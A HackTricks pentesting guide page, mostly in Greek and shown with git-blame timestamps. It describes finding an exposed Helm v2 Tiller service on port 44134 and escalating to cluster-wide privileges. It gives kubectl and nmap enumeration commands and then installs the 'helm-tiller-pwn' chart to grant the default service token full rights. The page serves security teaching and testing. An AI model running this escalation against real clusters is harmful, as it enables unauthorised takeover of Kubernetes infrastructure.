hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

85 lines
6.6 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
# Basic Information
2021-12-29 12:26:06 +00:00
Το Helm είναι ο **διαχειριστής πακέτων** για το Kubernetes. Επιτρέπει τη συσκευασία αρχείων YAML και τη διανομή τους σε δημόσιες και ιδιωτικές αποθήκες. Αυτά τα πακέτα ονομάζονται **Helm Charts**. **Tiller** είναι η **υπηρεσία** που **τρέχει** από προεπιλογή στην πόρτα 44134 προσφέροντας την υπηρεσία.
2021-12-29 12:26:06 +00:00
**Προεπιλεγμένη πόρτα:** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeration
2021-12-29 12:26:06 +00:00
Αν μπορείτε να **καταμετρήσετε pods και/ή υπηρεσίες** διαφορετικών namespaces, καταμετρήστε τα και αναζητήστε αυτά που έχουν **"tiller" στο όνομά τους**:
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
2024-02-10 22:40:18 +00:00
Παραδείγματα:
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτή την υπηρεσία που εκτελείται ελέγχοντας την θύρα 44134:
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
Μόλις το ανακαλύψετε, μπορείτε να επικοινωνήσετε μαζί του κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `homebrew`, ή να δείτε [**τη σελίδα επίσημων εκδόσεων**](https://github.com/helm/helm/releases)**.** Για περισσότερες λεπτομέρειες, ή για άλλες επιλογές, δείτε [τον οδηγό εγκατάστασης](https://v2.helm.sh/docs/using\_helm/#installing-helm).
2021-12-29 12:26:06 +00:00
Στη συνέχεια, μπορείτε να **καταμετρήσετε την υπηρεσία**:
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation
2021-12-29 12:26:06 +00:00
Από προεπιλογή, το **Helm2** εγκαταστάθηκε στο **namespace kube-system** με **υψηλά δικαιώματα**, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό θα μπορούσε να σας επιτρέψει να **κλιμακώσετε τα δικαιώματα**.
2021-12-29 12:26:06 +00:00
Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) που θα δώσει την **προεπιλεγμένη υπηρεσία token πρόσβαση σε όλα σε ολόκληρο το cluster.**
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Στο [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) έχετε την **εξήγηση της επίθεσης**, αλλά βασικά, αν διαβάσετε τα αρχεία [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) και [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) μέσα στο _helm-tiller-pwn/pwnchart/templates/_ μπορείτε να δείτε πώς **όλα τα προνόμια δίνονται στο προεπιλεγμένο token**.
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Υποστήριξη HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}